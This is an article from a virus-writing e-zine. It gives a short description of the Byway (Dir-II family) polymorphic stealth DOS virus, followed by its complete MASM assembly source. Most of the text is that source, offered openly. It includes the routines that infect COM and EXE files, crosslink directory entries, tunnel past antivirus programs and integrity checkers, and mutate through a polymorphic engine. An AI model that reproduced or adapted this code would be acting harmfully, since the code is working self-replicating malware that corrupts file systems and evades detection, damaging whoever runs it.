
                                        /-----------------------------\
                                        | Xine - issue #3 - Phile 301 |
                                        \-----------------------------/



-<Int13h speaks>-------------------------------------------------------------

Well,  the original idea was to have in Xine#3 the interview with Wai Chan
and the source code of his famous Byway virus. I emailed him the interview
and as far as I know he was answering the questions. He sent me the source
of his virus also.  But  I lost contact with him some time ago, he doesn't
answered  my emails and then I don't know what happened with him. For that
reason  here goes the source of his great and complex creation, the inter-
view will go in Xine#4 (I hope!). Mr.Wai Chan: where are youuuuuuu????? :)


-<FuckProt speaks>-----------------------------------------------------------

Name  : Byway
Alias : Dir.Byway, Dir-II.Byway, HndV, DirII.TheHndv, Chavez
Origin: Venezuela (South America)
Size  : 2048
Type  : Resident  Stealth  COM/EXE-files
Repair: No 

In  the  summer  of 1995 a new virus using advanced cluster technique for
spreading  was found. This polymorphic virus was named 'Byway'. The virus
has  been  found  in  both  Europe and USA and is known to be in the wild
internationally. 
Byway is an extremely fast infector of COM and EXE files. It uses similar
methods  with  spreading as the old DIR-II virus family, but it employs a
novel  technique.  When  the user executes an infected program in a clean
machine, the  virus creates a hidden file called CHKLISTx.MSx in the root
directory  (where "x" is ASCII-255, a fake space). When it infects a file
it  changes  the directory entries and crosslinks all executable files to
point  to  the  CHKLISTx.MSx file, which in turn contains the virus code.
Microsoft  Anti-Virus  uses  almost  the same name for its checksum file,
apparently  the  virus  author  wanted  to make the user believe that the
new file is the MSAV's file. 
Byway  exhibits both polymorphic and full stealth behavior. When the user
runs  an infected program for the first time, the virus executes instead,
reserving  3216  bytes for itself. From this time on, all disk operations
are  rerouted to the original files, resulting in their correct execution
and functioning.This way the virus hides quite successful from detection.
Byway  employs  an  improved  tunneling technique in order to bypass most
antivirus  programs  and integrity checkers. In fact it is able to defeat
most  antivirus  programs  that use their "own file system" to scan files
and  in  turn,  it  infects  the home directory of all scanned executable
files.  This way the virus spreads very quickly through exposed machines.

The Byway.A variant contains the following encrypted texts: 

The-HndV
by:Wai-Chan,Aug94,UCV 

In Byway.B variant, the second text is a bit different: 

-By:W.Chan- 

Byway  activates  on several dates after year 1996. The activation depends
on  a  parity  check of a "generation counter" and a date triggered event:
(day of the month) = (((month's number)*2)+2) 
For example 4th of January, 6th of February and 26th of December, so there
is  a trigger date every month. When activated it displays a running text:

TRABAJEMOS TODOS POR VENEZUELA !!! 

The  text  is  displayed on 3:00, 6:00, 9:00, 12:00, 15:00, 18:00 and 21:00
o'clock.  The  virus  also  tries  to  play  a  tune  through  a sound card.
Byway  is  reported  to  be  in  the  wild  internationally,  especially in
Venezuela, Mexico, Bulgaria, UK and USA.


-<BYWAY.ASM>------------------------------------------------------------------

;
;    PROYECTO:	HndV - Himno Nacional De Venezuela.
; DESCRIPCION:	Interceptor de "Manejador de Dispositivo" de Bloque.
;		(Block "device driver" hooker).
;       AUTOR:  Wai Chan
;	LUGAR:	UCV - Universidad Central de Venezuela.
;		Caracas, Venezuela.
;        DATE:  13/Jul - 28/Ago/94.
;
; Compile under MASM

cseg  segment
      org 100h
      assume cs:cseg,ds:cseg,ss:cseg,es:cseg

of_new_stgy   equ 48Ch
song_start    equ 16h
of_msg        equ 16Ch
of_count      equ 277h
of_trig       equ of_count + 6Ah

dta_buf     equ   0A80h

of_old_intr equ   of_new_stgy - 14h
of_old_stgy equ   of_new_stgy - 19h
of_5_bytes  equ   of_new_stgy - 34h
of_param    equ   of_new_stgy - 42h
of_hard     equ   of_new_stgy - 4Fh
of_flop     equ   of_new_stgy - 57h
of_old_8    equ   of_new_stgy - 6Dh
of_chg_drv  equ   of_new_stgy + 40h

s_block1    equ   22 ; 16h
s_block2    equ   28 ; 1Ch

of_entry    equ   900h + s_block1 + s_block2
of_last     equ   of_entry + 1Ah

msg_size    equ 22h ; 34
song_size   equ 37h ; 55

driver:     jmp short pinpin

garbage db 0Bh,8Ah,46h,0FDh,88h,46h,0FEh,0EBh,32h,0F6h,46h,0FEh,01h,74h,26h,0A1h
        db 80h,0E1h,0E8h,0E4h,0B9h,8Ah,5Eh,0FFh,2Ah,0FFh,0D1h,0E3h,8Bh,87h,0B5h,40h
        db 89h,46h,0F6h,0FFh,56h,0F6h,88h,46h,0FBh,3Ch,1Bh,75h,03h,0E9h,86h,01h
        db 80h,06h,81h,0E1h,01h,0FEh,46h,0FFh,0D0h,6Eh,0FEh,80h,7Eh,0FFh,55h,0B2h
        db 0E3h,25h,7Eh,0BFh,59h,0E4h,0A3h,9Dh,3Ch,0F9h,0C6h,56h

pinpin:    jmp   bambam ; offset 14Eh

db 'The-HndV',3

tabl_tone dw 0BE4h
          dw 0A98h
          dw 0970h
          dw 08E8h
          dw 07F0h
          dw 0712h
          dw 06ACh
          dw 05F2h
          dw 054Ch

; msg db 'TRABAJEMOS TODOS POR VENEZUELA !!!'

msg db 2Fh,0FEh,2Bh,63h,7Eh,0F8h,2Fh,5Fh,9Eh,0BEh,4Ah,3Bh,9Eh,7Bh,25h,27h
    db 68h,7Eh,25h,23h,68h,0FFh,2Fh,53h,3Eh,0FCh,3Fh,7Fh,0AEh,3Ah,4Ah,0EEh
    db 78h,22h

real_count db 0,3,0,5,7,7,5,10,10,11,8       ; db 1,1,3,1,2,1,2,2,3,1,3

  lovely2:  mov    bx,00C8h
            mov    ah,25h
            pop    bp
            cmp    al,4
            mov    cx,-1
            mov    [bp-of_new_stgy+of_chg_drv+2],bl
            sbb    di,di
            call   int_21            ; get disk list
            mov    ah,29h
            mov    si,8
            call   int_21            ; free memory
            push   bx
            xchg   ax,cx
            lds    bx,es:[bx]
      @@:   or     [bx+di+18h],al
            lds    bx,[bx+di+19h]
            db     3Bh  ;;; cmp ax,bx
   rety:    db     0C3h
            jne    @b
            pop    bx
            lds    di,es:[bx+si] ; get CLOCK$ device driver
            inc    ax
            push   ax
       @@:  lds    di,[di]  ; get next drivers in chain until block driver
            test   si,[di+5]
            jz     @b
            mov    cx,ds
            mov    bx,si
            cmp    cx,70h
            jnz    @b
            les    si,[di+6]
            push   es
            push   cs
            lea    di,[bp-of_new_stgy+of_5_bytes]
            mov    [bp-of_new_stgy+of_old_stgy],si
            mov    [bp-of_new_stgy+of_old_intr],es
            cld
            pop    es
            movsb
            cmp    bp,[si]
            movsw
            movsw
            pop    si
            movsb
            je     rety ; go to a `ret' instruction

            pop    ds ; ds=0
            mov    dx,es
            mov    [bp-of_new_stgy+of_param+8],dx ;;;;;;;;;
            les    si,[bx+44h] ; es:ax = 0:4*13h
            mov    [bp-of_new_stgy+of_flop+1],si
            mov    [bp-of_new_stgy+of_flop+4],es
            push   bx
            mov    [bp-of_new_stgy+of_hard+1],si
            mov    [bp-of_new_stgy+of_hard+4],es
            cmp    al,[di-of_5_bytes-6+bx-8+475h]    ; cmp 0:[475h],0
            pop    ds
            dec    dx
            jnc    tick ; no hard disk installed!

            les    si,[bx+78h] ; es:ax = 0:4*40h
            cmp    [bx+7Ch],si
            je     tick
            mov    [bp-of_new_stgy+of_flop+1],si
            mov    [bp-of_new_stgy+of_flop+4],es

    tick:   push   ss
            mov    ds,dx
            mov    [bx-7],bx
            push   bp
            les    di,[bp-of_new_stgy+of_old_stgy] ; set address of new_stgy (again)
            sub    al,-0EAh
            stosb
            pop    ax
            stosw
            pop    ax
            stosw

            lea    si,[bp-of_new_stgy+of_old_stgy-8]
            mov    bx,[bx+34h]
            mov    ds,ax

            push   cs
            push   ds
            call   lord

;            pop    es
;            pushf
;            mov ax,4803h
;            mov cx,646Eh
;            sub ax,0356h
;            mov si,ax
;            mov di,si
;            std
;  keying:   dec cx
;            jz lomp
;            lodsw
; sec_word:  xor ax,8B9Fh
;            stosw
;            jmp short keying
;  lomp:     popf
;            ret
;
;enttry  db     'CHKLIST',0FFh     ; file name
;        db     'MS',0FFh          ; file extension
;        db     27h                ; file attribute
;        db     10 dup (0)         ; 10 unused bytes (0) reserved by DOS
;        dw     3280h              ; time = 5:37:42 PM
;        dw     1B3Eh              ; date = June 14th 1993
;        dw     6CD5h              ; beginning cluster
;        dw     800h               ; file size
;        dw     0                  ;    ''

db 08h,79h,0D8h,14h,91h,9Dh,0D0h,84h,4Bh,82h,0E5h,88h,0A9h,0F9h,0DFh,0F4h
db 0F7h,2Ch,40h,34h,0D9h,50h,5Dh,7Ch,94h,0F4h,0FEh,0E8h,71h,41h,0A2h,91h
db 13h,44h,9Fh,0F3h,0EFh,3Dh,0D8h,0F6h,3Eh,09h,40h,09h,42h,09h,44h,09h
db 46h,09h,0DDh,90h,0F9h,0F8h,0D6h,0AEh,4Eh,0Bh,50h,09h

 hex_count  dw     0

    lord:   mov    di,900h
            mov    cl,s_block1/2
            pop    ax
            pop    es
            rep    movsw

            mov    cl,(20h + s_block2)/2
            mov    [bp-of_new_stgy+of_param+4],ds ;;;;;;;;;
            xchg   ax,si ; si=ax
       @@:  lodsw
            xor    ax,di
            rol    ax,cl
            stosw
            loop   @b
            xchg   ax,di ; di=0
            push   ax
            sub    ax,of_entry+20h-0A4EBh ; al=EBh (JMP) ; ax=A4EBh
            scasb ; di=1
            add    [si],di
            jpo    no_yet ; activates on parity
            shr    al,1    ; al=75h (JNZ)
   no_yet:  push   cx ; cx=0
            mov    es,bx
            mov    [si-of_count+of_trig],al
            cmp    bx,di ; bx=0?
            jc     parent
            call   int_21
            cld
            pop    ax ; ax=0
       @@:  dec    di
            scasw
            jnz    @b
 stones:    scasw
            xchg   di,si ; si=di
            jmp    short monit
   monit2:  jmp    comando
   parent:  mov    ds,[bx+16h]
            add    bx,[bx+16h]
            pop    si ; si=0
            jz     monit2
            dec    bx
   monit:   mov    ds,bx
  monit3:   mov    cl,28h
            pop    di
            pop    es
            push   di
            rep    movsw

            mov    di,offset hanging
            mov    ah,15h ; 2Ah ; get date
            call   int_21
            pop    ax
            push   es
            rol    dh,1 ; 2*month
            xchg   ax,dx
            mov    bx,2
            mov    [bp-of_new_stgy+of_param+0Ch],es ;;;;;;;;;
            sub    al,ah ; day - 2*month
            cmp    bl,al
  trig:     jnz    not_yet
            cmp    cl,0CCh
            jc     not_yet
           ; cmp    cl,0CBh ; is year 1995?
           ; jnz    its_time
           ; cmp    ah,2*month
           ; jc     not_yet

 its_time:  sub    al,2-0EBh
            cli
            stosb
            mov    ax,es
            mov    ds,bx ; ds=0002
            xchg   ax,[bx] ; get old & set new segment for int 8h
            mov    [bp-of_new_stgy+of_old_8+2],ax
            mov    ax,offset new_int8
            xchg   ax,[bx-2] ; get old & set new offset for int 8h
            mov    [bp-of_new_stgy+of_old_8],ax
 not_yet:   mov    al,bh
            pop    ds
            lea    bx,[bp-of_new_stgy+of_param]
            mov    ah,0A5h
            call   int_21
            mov    ah,0A6h ; 4Dh
            call   int_21
 terminate: mov    ah,26h  ; 4Ch
 int_21:    rol    ah,1
            sti
            int    21h
            ret

;tabl_song db 73h,73h,73h,73h
;          db 76h,53h,52h
;          db 66h,45h,41h
;          db 46h,43h,42h
;          db 66h,45h,40h
;          db 56h,37h
;          db 43h,43h,23h,23h
;          db 30h,00h,10h,20h,30h,40h,50h,60h
;          db 73h,73h,73h,73h
;          db 76h,53h,52h
;          db 62h,72h,82h,62h
;          db 46h,43h,42h
;          db 86h,65h,60h
;          db 76h,57h
;          db 63h,62h,43h,42h
;          db 36h,37h

tabl_song db 0CBh,0C4h,0C5h,0C6h,86h,0C8h,89h,87h,4Eh,70h,0B0h,0F2h,0B3h,0BDh,74h,36h
          db 0B2h,0E5h,0F9h,0FAh,0E3h,0E4h,21h,2Eh,2Bh,38h,3Dh,22h,27h,2Ch,0E9h,0EAh
          db 0EBh,0E4h,0A4h,0EEh,0AFh,0A4h,0A1h,9Eh,0A7h,0D1h,91h,0D2h,0E2h,1Dh,5Dh,0DBh
          db 92h,90h,0D1h,9Ah,0DBh,0C1h,80h

new_int8: push ax
          push bx
          push cx
          push ds
          push si
          push di

      X1: jmp  short X2 ; jmp X2 or jmp X3
      X2: mov  bx,43h
          mov  ds,bx
          lds  ax,[bx-7]
          test ax,ax
          jnz go_X0
          mov bl,3
          mov ax,ds
          div bl
          test ah,ah
          jnz go_X0

      X3: cld
          push cs
          mov ax,316h
          mov cl,2
          pop ds
    nido: mov si,offset tabl_song
          mov ds:[X1+1],al ; jmp X3
          lodsb

          xor ax,si
          rol al,cl

   video: mov di,6001h
          mov bx,ax
   niam2: and al,0Eh
    niam: cmp al,0
          jnc odin
          xchg ax,si
          and ds:[niam+1],bh
          cmp al,song_size+song_start
          jc  X4

   nido2: mov al,02
          dec al
          jnz X5
          mov word ptr ds:[count+1],162
          mov ds:[X1+1],al  ; jmp X2
          sub al,-2
      X5: mov ds:[nido2+1],al
          mov al,song_start
      X4: shr bl,1
          mov ds:[nido+1],al
          in al,61h
          jnc odin2
          and al,0FCh
          out 61h,al
          jmp short mesag
 go_X0:   jmp short X0
    odin: shr bl,1
          in al,61h
          inc byte ptr ds:[niam+1]
   odin2: shr bl,cl
          test al,1
          jz speaker
          test al,2
          jnz tuning
 speaker: or al,3
          out 61h,al
          mov al,0B6h
          out 43h,al
  tuning: mov ax,[bx+tabl_tone]
          out 42h,al
          mov al,ah
          out 42h,al

mesag:    ror di,1
          mov bl,0AAh
  count:  mov ax,160
          push di
          dec ax
          dec ax
          mov di,ax
          mov cx,2*msg_size
          cmp ax,-2*2*msg_size + 2
          jnz @f
          mov ax,160
      @@: mov ds:[count+1],ax
          pop ds
          mov si,offset msg
   again: mov ax,0F20h
          ror bl,1
          jc  @f
          db 2Eh
          lodsb
          xor al,6Ah ;;;
          rol al,cl ;;;
      @@: cmp di,00A0h
          jnc @f
          mov [di+8000h],ax
          mov [di],ax
      @@: inc di
          inc di
          loop again

    X0:   pop di
          pop si
          pop ds
          pop cx
          pop bx
          pop ax

       db 0EAh
 old_int8 dd 5C28A7C2h

steal:      MOV    DI,0002     ; uses:  AX, CX, DI, DS
            MOV    DS,DI
            POP    AX
            PUSH   [DI+2Ch]
            PUSH   [DI+2Ah]
            PUSH   AX
            CMP    Byte Ptr ES:[BX+0Dh],0F8h
    flop:   MOV    AX,0EC59h
            MOV    CX,0F000h
            JNZ    @f
    hard:   MOV    AX,0A565h
            MOV    CX,0F000h
       @@:  MOV    [DI+2Ah],AX
            MOV    [DI+2Ch],CX
            RET

param_blck  dw 0000h
            dd 11110080h
            dd 1111005Ch
            dd 1111006Ch

_5_bytes    db    2Eh,89h,1Eh,12h,00h ; 5 dup (?)
            db    0E8h                ; ?

old_1:      mov    word ptr es:[bx+12h],1
old_4:      mov    byte ptr es:[bx+2],4
            jmp    short old

            pop    es
            push   ds
writ:       mov    byte ptr es:[bx+2],8

old:        db     9Ah         ; call old_stgy
old_stgy    dd     007006F5h
            db     9Ah
old_intr    dd     0070073Eh
            cmp    byte ptr es:[bx+4],80h
            ret

bambam:     mov    sp,0A80h
            mov    ah,30h
            int    21h               ; get DOS version number
            call   lovely2

new_stgy:   push   ax
            push   ds
            push   si
            push   di

            mov    al,0F0h
            mov    si,offset _5_bytes
            push   cs                  ; restore code (first 5 bytes)
            pop    ds
            cld
            push   es
            les    di,[si-of_5_bytes+of_old_stgy]
            movsb
            movsw
            movsw
            mov    di,[si-of_5_bytes-5+of_old_intr]
            movsb
            pop    es
            lea    di,[bx+0Dh]

            scasb
            ja     go
            mov    ax,es:[di-0Dh]
            xchg   ah,al
            cmp    al,1
            je     chk_chg
            cmp    al,4
            je     check
            cmp    al,9
            je     check
            cmp    al,8
            je     check
go:         call   dword ptr [si-of_5_bytes-6+of_old_stgy]
            jmp    pops

 check:     push   cx
            push   dx
            dec    di
            push   ax
            xor    cx,cx
 chg_drv:   cmp    ah,1
            mov    [si-of_5_bytes-6+of_chg_drv+2],ah
            mov    ax,0FF8h
            jnz    heck
            scasb
            jz     choose
            mov    ds,cx ; ds=0
            test   ah,[si-of_5_bytes-6+43Fh]
            jnz    choose
            dec    di

   heck:    inc    cx ; cl=1
            scasb
            jnz    deti
            mov    cl,0Bh
     deti:  mov    cs:[si-of_5_bytes-6+com_exe+1],cl

            call   infect

  choose:   pop    ax
            test   al,6
            jnz    c_old
            loop   inf

chk_chg:    call   old
            scasb
            jz     res_int2
            mov    byte ptr [si-of_5_bytes-6+of_chg_drv+2],56h
            jmp    short res_int2

c_old:      call   old_4
            jnc    rip

   inf:     lds    di,es:[bx+0Eh]
            mov    si,es:[bx+12h]
            push   si
            push   ax
   tec:     mov    ax,200h
            mul    si
            add    ax,di
            xor    dx,dx
            xchg   ax,si

  y_n:      jmp    short yu
            call   crypt
   yu:      inc    dx ; dl=1
  here2:    jcxz   fixx
            pop    ax
            push   ax
            test   al,0Ah
            jz     tuneling
            mov    es:[bx+2],al
            call   old
            jmp    short fixx
tuneling:   call   steal
            call   writ
            call   unsteal
   fixx:    lds    di,es:[bx+0Eh]
            call   crypt
            pop    ax
            pop    si
            test   al,6
            jz     rip
            mov    es:[bx+12h],si ; r
            mov    es:[bx+4],dl   ; r
     rip:   mov    es:[bx+2],al   ; r/w

res_int:    pop    dx
            pop    cx
res_int2:   lds    si,cs:[of_old_intr]
            mov    byte ptr [si],0CBh

pops:       mov    di,of_new_stgy
            lds    si,cs:[di-of_new_stgy+of_old_stgy]
            mov    [si+3],cs
            mov    byte ptr [si],0EAh
            mov    [si+1],di

            pop    di
            pop    si
            pop    ds
            pop    ax

            retf

chk_comm:   cmp    word ptr [di+5],'DN'
            jnz    check_attr
   lula:    add    di,20h

crypt       proc   near

            cmp    di,si
get_ext:    mov    ax,[di+8]
com_exe:    jc     check_com
            ret
check_exe:  cmp    ax,'XE'
            jnz    check_com
            cmp    al,[di+0Ah]
            jz     check_size
check_com:  cmp    ax,'OC'
            jnz    lula
            cmp    byte ptr [di+0Ah],'M'
            jnz    lula
            cmp    ax,[di]
            jz     chk_comm
check_attr: test   byte ptr [di+0Bh],1Ch
            jnz    lula
check_size: cmp    byte ptr [di+1Dh],8
            jnc    oopp
            cmp    word ptr [di+1Eh],0
            jz     lula
     oopp:  test   dl,dl
            jnz    decrypt
check_dir2: cmp    dx,[di+14h]  ; check for the presence of DIR-2 virus
            jnz    lula
check_last: mov    ax,cs:[of_last]
            cmp    ax,[di+1Ah]
            jz     lula
encrypt:    xchg   ax,[di+1Ah]
            cmp    dx,[di+0Eh]
            jnz    writ_now
            ror    ax,1
            mov    [di+0Eh],ax
            mov    al,[di+0Bh] ; set r/o bit and hide in 7th bit original
            and    al,1        ;
            ror    al,1        ;
            inc    ax          ;
            or     [di+0Bh],al ;
 writ_now:  loop   lula
decrypt:    xor    cx,cx
            xchg   cx,[di+0Eh]
            jcxz   lula
            rol    cx,1
            mov    [di+1Ah],cx
            mov    al,[di+0Bh]
            rol    al,1        ;
            dec    ax          ;
            shr    al,1        ;
            mov    [di+0Bh],al ;
nexty:      jmp    short lula
crypt       endp

infect:     xchg   di,si ; si=di=bx+0Eh
            call   steal ; ax,cx,di,ds
            cld
            push   es
            mov    cx,9
            mov    byte ptr cs:[di-2+y_n+1],3 ; <- disable infection
            pop    ds
      @@:   lodsw
            push   ax
            loop   @b

            inc    cx
            cmp    [si-20h+12h],cx
hanging:    jc     okquit
            mov    word ptr [si-20h+0Eh],dta_buf
            mov    [bx+di-2+10h],cs
            mov    [si-20h+14h],cx
            call   old_1
            jnc    okquit
            call   writ
            jnc    okquit
            cmp    [bx+12h],cx
            jc     okquit
            mov    [bx+di],di
            call   old          ; Build BPB
            jc     @f
   okquit:  jmp    short quit
       @@:  lds    di,[bx+12h]  ; get pointer to BPB (ds:si)
            mov    ax,[di]
            mov    cs:[tec+1],ax
    flint:  cmp    ax,200h
            jnz    quit
            mov    cl,4
            mov    si,[di+0Bh]
            cbw
            mov    al,[di+5]    ; get # of sectors for FAT('s) (ax)
            mov    cs:[num_fats+1],al
            mul    si
            add    ax,[di+3]    ; get starting sector for ROOT (ax)
            mov    dx,[di+6]    ; get # of sectors for ROOT (dx)
            mov    cs:[secs_fat+3],si
            add    dx,0Fh       ;
            shr    dx,cl        ;
            add    dx,ax        ; get starting sector for DATA (dx)
            mov    cs:[timeto2+1],ax
    repet:  mov    es:[bx+14h],ax
            call   old_1
            jnc    quit
            push   ds
            mov    cl,10h
            lds    si,es:[bx+0Eh]   ; get buffer head (ds:si)
   search:  cmp    ch,[si]
            jz     timeto
            cmp    word ptr [si],'HC'
            jnz    next
            cmp    word ptr [si+0Ah],27FFh
            jnz    next
            cmp    word ptr [si+17h],3F32h
            jnz    next
            cmp    word ptr [si+1Dh],8
            push   [si+1Ah]
            pop    ds:[of_last]
            jz     quit3
     next:  add    si,20h
            loop   search
            inc    ax
            cmp    ax,dx
   quit3:   pop    ds
            jc     repet
            jcxz   quit
   quit2:   mov    byte ptr cs:[y_n+1],0 ; <- enable infection
   quit:    mov    cx,9
            std
            lea    di,[bx+1Eh]
     @@:    pop    ax
            stosw
            loop   @b
            call   unsteal
    beach:  ret

   timeto:  cmp    cl,0Eh
            mov    cl,0
            jc     @f
  timeto2:  cmp    ax,1111h
            jz     quit3
        @@: cmp    cx,[si-6]
            xchg   ax,si
            jnz    alelu
   pollo:   cmp    ax,8F2Ah
            mov    ds:[pollo+1],ax
            clc
            jnz    quit3
  alelu:    pop    ds
            push   ax    ; first unused directory entry
            push   si    ; last ROOT sector read
            push   dx    ; first data sector
            mov    ax,[di+8]     ; get total sectors of disk (dx:ax)
            mov    si,dx
            xor    dx,dx         ;
            cmp    ax,cx         ;
            jnz    @f            ;
            mov    dx,[di+17h]   ;
            mov    ax,[di+15h]   ;
       @@:  sub    ax,si       ; get total sectors for DATA area (dx:ax)
            sbb    dx,cx       ;
            mov    cl,[di+2] ; sectors per cluster
            div    cx            ; get total number of clusters (ax)
            push   cs
            xor    dx,dx
            cmp    ax,0FEFh
            pop    ds
            push   cx
            jnc    @f
            mov    ch,8
      @@:   cmp    cl,2
            jz     toto2
            jc     toto1
            inc    dx             ; 4 -> 3
   toto2:   inc    dx             ; 2 -> 2
            inc    dx
   toto1:   mov    ds:[_12 +1],ch ; 1 -> 0
            mov    ds:[lara+1],dl
            xor    cx,cx
            jmp    short _486

    yepa:   dec    ax
    yeap:   cmp    cx,ax
            jnc    o_12
            mov    ds:[_586+1],ax ;;;;;;;;;;
   lara:    jmp    short _2
            dec    ax
            dec    ax
       _2:  dec    ax
       _4:  mov    ds:[of_last],ax  ; store eof cluster

  _again2:  mov    ax,ds:[_586+1]
   _again:  mov    dx,3
            mov    di,ax
     _12:   jmp    short fat12
  fat16:    dec    dx
            mov    si,0FFFFh
            mul    dx
            jmp    short sec
  fat12:    mov    si,0FFF0h
            mul    dx
            shr    ax,1
            jc     sec
            mov    si,0FFFh
    sec:    div    word ptr ds:[flint+1]
            inc    ax
            xchg   ax,di
            cmp    dx,01FFh
  _486:     jz     yepa
            cmp    di,es:[bx+14h]
            je     @f
            mov    es:[bx+14h],di
            call   old_1 ; reading -> not ready error (yes) , -> disable (yes)
  o_12:     jnc    o_1  ; c z (nc nz) (quit)
  _586:     cmp    ax,1111h
            jnz    yeap
     @@:    mov    di,es:[bx+0Eh]
            add    di,dx
            mov    dx,[di]   ; mask word to get right position in FAT
            and    dx,si
            jnz    yepa

            jcxz   ju
eof_clust:  test   ch,ch
            jz     put_prev
       eof: or     [di],si
  put_prev: mov    cx,4
            mov    dx,ax
            inc    dx
            test   si,cx
            jnz    @f
            shl    dx,cl
       @@:  or     [di],dx
       ju:  dec    ax
      ju2:  cmp    ax,ds:[of_last]
            jnc    _again
            jcxz   ookk
            push   es
            pop    ds
  num_fats: mov    cl,11h
   ula_ula: call   writ
            jc     secs_fat

     o_1:   pop    si  ; continue ; disable
     o_2:   pop    dx
     o_3:   pop    cx
     o_4:   pop    ax
     o_5:   jmp    quit
   ookk:    loop   _again2

  secs_fat: add    word ptr [bx+14h],1111h
            loop   ula_ula
            xor    di,di
            pop    cx
            pop    si ; first DATA sector
            dec    ax
            mul    cx
            add    ax,si
            mov    cx,470h-(3D0h+3Dh)
            mov    [bx+14h],ax
            adc    dx,di
            jz     @f
            dec    di
            mov    [bx+1Ah],ax
            mov    [bx+14h],di
            mov    [bx+1Ch],dx
      @@:   push   ds
            mov    di,100h
            mov    byte ptr [bx+12h],4
            mov    [bx+0Eh],di
            call   writcrypt
            pop    es
            jnc    o_3  ; z nc (nz nc) (quit)
            mov    word ptr es:[bx+0Eh],dta_buf
            pop    es:[bx+14h]
            pop    di
            call   old_1
            jnc    o_5 ; z nc (quit)
            push   es
            cld
            push   ds
            pop    es
            mov    cl,10h
            mov    si,of_entry
            rep    movsw
            pop    es

            call   writ
            jnc    o_5
            jmp    quit2

unsteal:    POP    AX          ; uses:  AX, DI, DS
            MOV    DI,0003
            MOV    DS,DI
            POP    [DI+19h]
            POP    [DI+1Bh]
            JMP    AX

byte_instr: dec bp       ; offset 13Bh
            inc dx
            inc bx
            clc
            nop
            inc bp
            dec dx
            dec bx

word_instr: shr bx,1   ; 1
            mov bx,cx  ; 2          ; not change ax,cx,si,di,ds,es
            push cs    ; 3          ; could change bx,dx,bp
            pop ds
            add bx,ax  ; 4
            mov dx,ax  ; 5
            or al,al   ; 6
            push ds
            pop es
            mov bx,ax  ; 8

            push cs
            pop es     ; 2
            cmp ax,sp
            shr dx,1   ; 3
            test al,al ; 4
            mov bp,sp  ; 5
            cmp si,di  ; 6
            shr bx,cl  ; 7

build:      ror dx,1   ; 8
            sub ax,di
            add ax,dx
            ror dx,1
            and ax,0Fh
            xchg ax,si
            ror dx,1
            jc wordies
  byties:   shr si,1
            mov al,[si+offset byte_instr]
            stosb
            jnc @f
            xor si,dx
            and si,0Fh
  wordies:  shl si,1
            mov ax,[si+offset word_instr]
            stosw
      @@:   ret

        @@: dec si
comando:    lodsw
            cmp ax,43FFh
            jnz @b
            lodsw
            lodsw
            lodsw
            cmp ax,'YR'
            jnz @b
            lodsw
        @@: lodsb
            cmp al,'A'
            jc @b
            dec si
            jmp monit3

db '<by:Wai-Chan,Aug94,UCV>',0FFh

writcrypt:  push ds ; request header

            mov si,3Dh
            mov ds,si
            push cs
            pop es
        @@: sbb ax,[si]
            xchg ax,dx
            ror ax,1
            inc si
            xor ax,dx
            loop @b
            push cs
            pop ds
            jnz @f
            dec ax
        @@: db 0A3h ;;; mov ds:[poly_word2+1],ax
            dw 92Bh
            sub ax,dx
            or cl,ah
            db 0A3h
            dw 919h
            add ax,-8FEh
            sub dx,ax
            db 0A3h
            dw 91Fh

            cld
            and cl,7
            jz no_add
        @@: call build
            loop @b

no_add:     mov cl,11
            mov si,918h ; offset real instructions
     risc:  push si
            call build
real_instr: mov si,cx
            mov al,[si+offset real_count-1]
            xor ax,si
            pop si
            cbw ; ah=0
            xchg ax,cx
            cmp al,6
            jnz copy_code
            push di
 copy_code: rep movsb
            cmp al,10
            jne @f
            push di
            cmpsw
        @@: cmp al,5
            xchg ax,cx
            jnz cisc
            mov ax,offset pinpin - 1
            sub ax,di
            inc si
            stosb
    cisc:   loop risc
            pop ax
            pop si
            sub ax,di
            stosb
            mov ax,900h
            sub ax,di
            shr ax,1
            inc ax
            mov [si],ax
            db 0A3h
            dw 91Ch

polymorph:  db 0E8h  ;;; call poly ; on entry DS=CS, ES=CS ;;; offset 8FDh
            dw 0017h ;;; call 0917h

;writt:      pop    es ; es=request header ;;; offset = 900h !!!
;            push   ds
;            mov    byte ptr es:[bx+2],08h
;old:        db     9Ah         ; call old_stgy
;old_stgy    dd     007006F5h
;            db     9Ah
;old_intr    dd     0070073Eh
;            cmp    byte ptr es:[bx+4],80h
;
;            pop  es ; es=cs ; 28   ; offset 916h
;     poly:  pushf
;            mov ax,8FEh ; (* 919h) ; offset 918h
;            mov cx,clk2
;            sub ax,0    ; (* 91Fh)
;            mov si,ax
;            mov di,si
;            std
;    morph:  dec cx
;            jz  pilpil
;            lodsw
;poly_word2: xor ax,0000h ; (* 92Bh)
;            stosw
;            jmp short morph
; pilpil:    popf
;            ret

ending:

cseg ends

end driver
